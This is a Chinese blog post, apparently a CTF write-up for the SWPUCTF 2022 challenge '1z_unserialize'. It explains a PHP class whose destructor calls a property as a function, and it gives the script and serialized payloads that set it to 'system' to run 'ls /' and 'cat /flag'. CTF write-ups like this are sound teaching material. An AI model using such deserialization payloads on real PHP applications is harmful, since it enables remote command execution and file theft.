首页 > 其他分享 >反序列化加命令执行2023/10/25

反序列化加命令执行2023/10/25

时间:2023-10-26 12:44:22浏览次数:47  
标签:__ 25 lly 读取 10 system lt 序列化

#[SWPUCTF 2022 新生赛]1z_unserialize
<?php class lyh{ public $url = 'NSSCTF.com'; public $lt; public $lly; function __destruct(){ $a = $this->lt; $a($this->lly); } } unserialize($_POST['nss']); highlight_file(__FILE__); ?>

看这个代码,需要传入nss参数,然后被反序列化,调用__destruct()方法

将$lt的值赋值给$a,这个$a($this->lly)样子看到就要想到形如system(),eval()的命令执行,所以我们让$a=system,让$this->lly等于我们要执行的命令,这样就可以实现命令执行,可以读取一些我们想要的读取的文件

<?php
class lyh{
    public $lt="system";
    public $lly="ls /";            
}
$a=new lyh();
echo serialize($a);
?>
#O:3:"lyh":2:{s:2:"lt";s:6:"system";s:3:"lly";s:4:"ls /";}

 

可以看到根目录下的文件,有个flag文件,直接将$lly="ls /"换成$lly="cat /flag"读取文件

即O:3:"lyh":2:{s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

 可以看到读取成功

 

 

 

 

 

 

 

    

 

标签:__,25,lly,读取,10,system,lt,序列化
From: https://www.cnblogs.com/lcjingyi/p/17788355.html

相关文章

  • 10_组合逻辑电路
    组合逻辑电路特点根据题目设计逻辑电路......
  • Kubernetes 100个常用命令
    转载https://mp.weixin.qq.com/s/pWj-ni5fuHLaK2AR-4gqqQ100个Kubectl命令,这些命令对于诊断Kubernetes集群中的问题非常有用。这些问题包括但不限于:• 集群信息• Pod诊断• 服务诊断• 部署诊断• 网络诊断• 持久卷和持久卷声明诊断• 资源......
  • PAT_B1003 我要通过!
    “答案正确”是自动判题系统给出的最令人欢喜的回复。本题属于PAT的“答案正确”大派送——只要读入的字符串满足下列条件,系统就输出“答案正确”,否则输出“答案错误”。得到“答案正确”的条件是:字符串中必须仅有 P、 A、 T这三种字符,不可以包含其它字符;任意形如 xPA......
  • 10月26日开启进程以及扩展点
    目录开启进程开启方式一开启方式二验证主进程和子进程直接是否具有内存隔离僵尸进程以及孤儿进程(了解)孤儿进程开启进程开启子进程的时候:把父进程的代码完整复制到一个新的内存空间里去执行,达到多个并行的作用开启方式一首先调用multiprocessing里面的Processfrommultipr......
  • 数据序列化协议 Protocol Buffers(Protobuf) 认知
    写在前面需要存大数据,同事推荐,了解一下理解不足小伙伴帮忙指正对每个人而言,真正的职责只有一个:找到自我。然后在心中坚守其一生,全心全意,永不停息。所有其它的路都是不完整的,是人的逃避方式,是对大众理想的懦弱回归,是随波逐流,是对内心的恐惧——赫尔曼·黑塞《德米安》ProtocolBuf......
  • 2023-10-14:用go语言,给定 pushed 和 popped 两个序列,每个序列中的 值都不重复, 只有当它
    2023-10-14:用go语言,给定pushed和popped两个序列,每个序列中的值都不重复,只有当它们可能是在最初空栈上进行的推入push和弹出pop操作序列的结果时,返回true;否则,返回false。输入:pushed=[1,2,3,4,5],popped=[4,5,3,2,1]。输出:true。来自美团。答案2023-10-14:大体过程如......
  • 面试必刷TOP101:13、判断一个链表是否为回文结构
    一、题目二、题解2.1方法一使用list列表因为需要判断是否为回文结构,所以要比较头尾的数据,而链表无法随机查询数据,所以可以先将链表转换成list。具体步骤首先初始化一个list列表;遍历链表,将链表中的值转移至list中;在list中通过比较头尾的值来判断链表是否为回文结构。代码如下:import......
  • 2023-10-26 ts报异常:并非所有代码路径都返回值 ==》给一个默认的返回值
    在函数中添加了判断且包含了return,如:if(isTrial){returnalert("666");}那么ts就会报这个异常,这也不算错误,但从ts的严格模式来看,是要给定一个默认返回值才行。解决方案:if(isTrial){returnalert("666");}returnaler......
  • 20231019NOIP训练赛
    20231019NOIP训练赛时间安排7:50-8:50写T18:50-9:30写T29:30-10:30写T3T410:30-11:50写T1总结T2没花时间想,没想到建图题解T1枚举最大公约数,然后统计最大公约数的倍数T2并查集,设u=\(X_{b_i}\),v=\(X_{a_i}\),在u和v间建一条长度为\(c_i\)的边,可以用并查集维护,如果u和v已......
  • .NET周刊【10月第3期 2023-10-22】
    国内文章.NET8RC2发布,将在11月14日发布正式版https://www.cnblogs.com/shanyou/p/17756172.html微软于2023年10月10日发布了.NET8RC2,预计在下个月的NetConf2023期间正式发布.NET8。.NET8的所有主要新功能已经推出,开发团队将在接下来的一个月内主要专注于改进功能和......